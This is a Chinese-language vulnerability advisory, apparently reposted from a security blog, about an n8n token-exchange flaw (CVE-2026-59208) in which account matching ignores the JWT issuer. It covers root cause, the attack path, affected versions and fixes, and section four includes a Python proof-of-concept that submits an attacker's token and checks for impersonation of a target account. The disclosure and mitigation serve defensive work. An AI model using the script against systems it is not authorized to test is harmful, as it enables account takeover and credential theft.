【高危AI漏洞预警】n8n令牌验证绕过漏洞(CVE-2026-59208)

admin 2026-07-15 04:57:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: n8n存在高危令牌验证绕过漏洞(CVE-2026-59208),因令牌交换身份解析仅校验JWT的sub字段而忽略iss字段,导致攻击者可用低权限签发者令牌冒充其他签发者下的高权限用户,直接获取账号全部操作权限。影响2.0至2.27.3及2.28.0版本,需启用令牌交换并配置多个可信签发者。建议立即升级至2.27.4或2.28.1修复版本,或精简签发者配置、统一sub命名规范作为临时缓解。 综合评分: 89 文章分类: 漏洞预警,漏洞分析,安全建设,渗透测试


cover_image

【高危AI漏洞预警】n8n令牌验证绕过漏洞(CVE-2026-59208)

jufeng jufeng

飓风网络安全

2026年7月14日 16:25 北京

在小说阅读器读本章

去阅读

一、漏洞描述:

该漏洞存在于主流开源工作流自动化平台 n8n 的令牌交换认证逻辑中,属于典型的身份校验缺失漏洞。当实例配置了多个可信 OIDC/JWT 签发者时,系统仅通过 JWT 的sub(用户主体)字段匹配本地账号,完全忽略iss(签发者)字段校验,攻击者可借助低权限签发者的令牌,冒充其他签发者下的高权限用户,直接获取对应账号的全部操作权限,对多租户、多身份源集成的企业级 n8n 部署威胁极大。

二、漏洞深度技术分析

2.1 组件背景

n8n 是当前应用最广泛的开源低代码工作流自动化平台,支持可视化搭建自动化流程、集成上千款第三方应用,大量企业用于内部运维自动化、数据同步、业务流程编排场景。其令牌交换(Token Exchange)功能是企业级部署的核心身份能力,支持对接多个 OIDC 身份提供商(如企业 SSO、第三方身份平台),实现跨身份源的统一登录与权限映射。

2.2 漏洞根因

漏洞的核心成因是身份解析逻辑的字段校验缺失,账号绑定逻辑存在设计缺陷:

n8n 的令牌交换身份解析器在处理外部 JWT 令牌时,需要将外部身份与本地 n8n 账号进行绑定匹配

存在缺陷的代码逻辑中,仅提取 JWT 中的sub声明作为唯一匹配键,在本地用户库中查询对应账号,完全未校验 JWT 的iss(签发者)字段

当 n8n 配置了多个可信签发者时,只要不同签发者下存在sub值相同的用户,系统就会将其判定为同一个本地账号

攻击者只需持有任意一个可信签发者的有效 JWT,且该 JWT 的sub值与目标受害者的sub一致,即可绕过身份校验,直接以受害者身份登录 n8n 平台。

2.3 完整利用链与危害场景

标准攻击路径

环境探测:攻击者确认目标 n8n 实例启用了令牌交换功能,且配置了多个可信签发者

令牌获取:攻击者通过合法注册、低权限申请、其他漏洞等方式,获取其中一个可信签发者的有效 JWT 令牌

身份匹配:枚举或猜测目标受害者账号的sub值(企业场景下 sub 通常为工号、邮箱前缀等可预测字段)

认证绕过:将持有的令牌通过令牌交换接口提交给 n8n,系统仅校验 sub 匹配后,直接返回受害者账号的会话凭证

权限接管:攻击者使用受害者账号登录平台,可查看、修改所有工作流、窃取凭据、执行自动化任务,若受害者为管理员则可完全接管 n8n 实例。

典型高危害场景

多身份源企业部署:企业同时对接内部员工 SSO 和外包商身份平台,外包人员持有自身签发者的令牌,若 sub 与内部管理员工号重合,可直接冒充管理员接管平台

SaaS 多租户场景:多租户 n8n 平台共用多个签发者,租户 A 的用户可冒充租户 B 的同 sub 用户,造成跨租户数据泄露

权限提升场景:普通用户持有低权限签发者的令牌,若 sub 与高权限用户重合,可直接实现垂直越权

三、影响范围与风险评估

3.1 受影响版本

稳定分支:n8n 2.0 ~ 2.27.3 全版本(2.27.4 修复)

新功能分支:n8n 2.28.0 单版本(2.28.1 修复)

部署形态:源码部署、Docker 部署、K8s 集群部署、n8n Cloud 自托管版的对应版本均受影响

3.2 触发必要条件

该漏洞并非所有 n8n 实例都会触发,必须同时满足以下两个条件:

实例启用了Token Exchange(令牌交换) 认证功能

配置了至少 2 个不同的可信令牌签发者(Issuer)

仅配置单个身份源、使用默认账号密码登录的实例不受该漏洞影响。

3.3 风险等级说明

该漏洞综合风险为高危,核心风险点包括:

利用成本低:仅需一个低权限有效令牌即可完成攻击,无需复杂漏洞利用链

危害程度高:直接冒充目标账号,管理员账号被冒充则平台完全失陷

隐蔽性强:攻击使用合法签发的有效令牌,日志中仅显示正常登录行为,难以检测

企业场景普遍:中大型企业的 n8n 部署通常会对接多个身份源,满足漏洞触发条件

四、漏洞验证 POC(合规授权测试专用)

合规声明

以下内容仅用于已获得书面授权的安全测试、自有资产自检与修复效果核验场景,严禁用于任何未授权的网络访问、身份冒充、攻击行为。使用者需严格遵守《网络安全法》《刑法》等相关法律法规,自行承担所有相应法律责任。

漏洞验证前置环境搭建

需先搭建符合触发条件的测试环境:

部署 2.27.3 或 2.28.0 版本的 n8n 实例

在 n8n 中配置 2 个可信 OIDC 签发者(Issuer A、Issuer B),启用令牌交换功能

在 n8n 本地创建用户 A,绑定 Issuer A 的 sub 为test-user-001;同时存在用户 B,绑定 Issuer B 的 sub 也为test-user-001(模拟 sub 重合场景)

攻击者持有 Issuer B 签发的、sub 为test-user-001的有效 JWT 令牌

验证型 POC 脚本

该脚本用于验证目标 n8n 实例是否存在身份校验缺陷,通过提交非对应签发者的令牌,判断是否能成功获取目标账号的会话信息:

import requests

import argparse

import json

def verify_cve_2026_59208(target_url, attacker_token, expected_username):

    “””

    CVE-2026-59208 漏洞验证脚本

    仅用于授权测试环境,验证跨签发者sub匹配的认证绕过

    “””

    if not target_url.startswith(“http”):

        target_url = f”http://{target_url}”

    target_url = target_url.rstrip(“/”)

    headers = {

        “Authorization”: f”Bearer {attacker_token}”,

        “Content-Type”: “application/json”,

        “User-Agent”: “CVE-2026-59208 Vulnerability Check”

    }

    try:

        # 调用n8n令牌交换接口与当前用户信息接口

        # 步骤1:提交攻击者令牌进行交换,获取n8n本地会话

        exchange_resp = requests.post(

            f”{target_url}/rest/token-exchange”,

            headers=headers,

            json={“grant_type”: “urn:ietf:params:oauth:grant-type:token-exchange”},

            timeout=10,

            verify=False

        )

        if exchange_resp.status_code != 200:

            print(f”[-] 令牌交换接口请求失败,状态码: {exchange_resp.status_code}”)

            print(f”[-] 响应内容: {exchange_resp.text[:200]}”)

            return False

        exchange_data = exchange_resp.json()

        if “access_token” not in exchange_data:

            print(“[-] 令牌交换未返回有效凭证,目标可能未启用该功能”)

            return False

        n8n_token = exchange_data[“access_token”]

        print(“[+] 令牌交换成功,获取到n8n本地访问令牌”)

        # 步骤2:使用交换后的令牌查询当前用户信息,验证是否绕过身份

        user_headers = {“Authorization”: f”Bearer {n8n_token}”}

        user_resp = requests.get(

            f”{target_url}/rest/me”,

            headers=user_headers,

            timeout=10,

            verify=False

        )

        if user_resp.status_code == 200:

            user_info = user_resp.json()

            current_user = user_info.get(“email”, user_info.get(“username”, “unknown”))

            print(f”[+] 当前登录账号: {current_user}”)

            if current_user == expected_username or user_info.get(“id”) == expected_username:

                print(“[!] 漏洞验证成功!跨签发者身份校验缺失,已冒充目标账号登录”)

                print(f”[!] 完整用户信息: {json.dumps(user_info, indent=2, ensure_ascii=False)}”)

                return True

            else:

                print(“[+] 登录账号与预期目标不符,漏洞不存在或sub不匹配”)

                return False

        else:

            print(f”[-] 获取用户信息失败,状态码: {user_resp.status_code}”)

            return False

    except Exception as e:

        print(f”[-] 执行异常: {str(e)}”)

        return None

if __name__ == “__main__”:

    parser = argparse.ArgumentParser(description=”CVE-2026-59208 漏洞验证工具(仅授权测试使用)”)

    parser.add_argument(“target”, help=”目标n8n实例地址,例如 http://127.0.0.1:5678″)

    parser.add_argument(“–token”, required=True, help=”攻击者持有的可信签发者JWT令牌”)

    parser.add_argument(“–target-user”, required=True, help=”预期冒充的目标账号(邮箱/用户名)”)

    args = parser.parse_args()

    print(“=”*50)

    print(“CVE-2026-59208 n8n 令牌交换认证绕过验证工具”)

    print(“警告:仅可在已获得授权的测试环境中使用,禁止非法测试”)

    print(“=”*50)

    verify_cve_2026_59208(args.target, args.token, args.target_user)

POC 使用说明

1.运行依赖:仅需 Python 标准库与 requests 库,执行pip install requests安装依赖

2.执行命令

python cve_2026_59208_poc.py <目标n8n地址> –token <攻击者持有的JWT> –target-user <目标账号邮箱>

结果判定:若返回 “漏洞验证成功”,说明目标存在身份校验缺陷,可跨签发者冒充账号;若令牌交换失败或账号不匹配,说明漏洞不存在或不满足触发条件

五、修复方案与缓解措施

5.1 官方补丁修复(首选方案)

n8n 官方已在 2.27.4 和 2.28.1 版本中修复该漏洞,修复逻辑为优化身份解析算法,账号绑定时同时校验sub与iss字段,确保不同签发者的用户身份完全隔离。

2.27.x 稳定分支用户:直接升级至 n8n 2.27.4 及以上补丁版本

2.28.0 版本用户:立即升级至 n8n 2.28.1 及以上版本

Docker 部署:拉取对应修复版本镜像,示例:

docker pull n8nio/n8n:2.27.4

docker pull n8nio/n8n:2.28.1

源码部署:从官方仓库拉取对应 tag 版本,重新构建部署

5.2 临时缓解措施(无法立即升级时使用)

若业务系统暂时无法完成版本升级,可通过以下配置彻底阻断漏洞利用:

精简可信签发者配置:移除非必要的令牌交换签发者,仅保留 1 个核心可信身份源,从根源消除漏洞触发条件

统一 sub 命名规范:对不同签发者的用户 sub 添加专属前缀(如issuer1_xxx、issuer2_xxx),确保跨签发者的 sub 值完全不重合

边界访问控制:对公网暴露的 n8n 实例增加 IP 白名单,仅允许可信内网网段访问,缩小攻击面

账号权限收敛:限制令牌交换用户的默认权限,默认仅分配最小权限,避免单个账号被冒充后造成大面积影响

5.3 修复验证与安全加固

升级完成后,使用上述 POC 脚本进行复测,确认跨签发者的令牌无法完成身份匹配,漏洞修复生效

审计 n8n 的登录日志,排查漏洞披露时间段内是否存在异常登录、跨身份源的异常访问行为

轮换平台内的敏感凭据(API 密钥、数据库密码等),防止漏洞已被利用造成数据泄露

启用 n8n 的双因素认证(2FA),增加账号被盗用后的防护门槛

六、应急处置优先级建议

最高优先级(24 小时内完成):

公网开放、配置了多个令牌交换签发者的企业生产级 n8n 实例

存储了核心业务凭据、对接内部敏感系统的 n8n 自动化平台

多租户 SaaS 形态的 n8n 服务部署

高优先级(72 小时内完成):

企业内网部署、对接多个 SSO 身份源的 n8n 实例

运维团队用于自动化运维、权限较高的 n8n 平台

中优先级(一周内完成):

仅单身份源、个人测试使用的 n8n 实例

无敏感数据的开发测试环境


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:飓风网络安全 jufeng jufeng《【高危AI漏洞预警】n8n令牌验证绕过漏洞(CVE-2026-59208)》

评论:0   参与:  0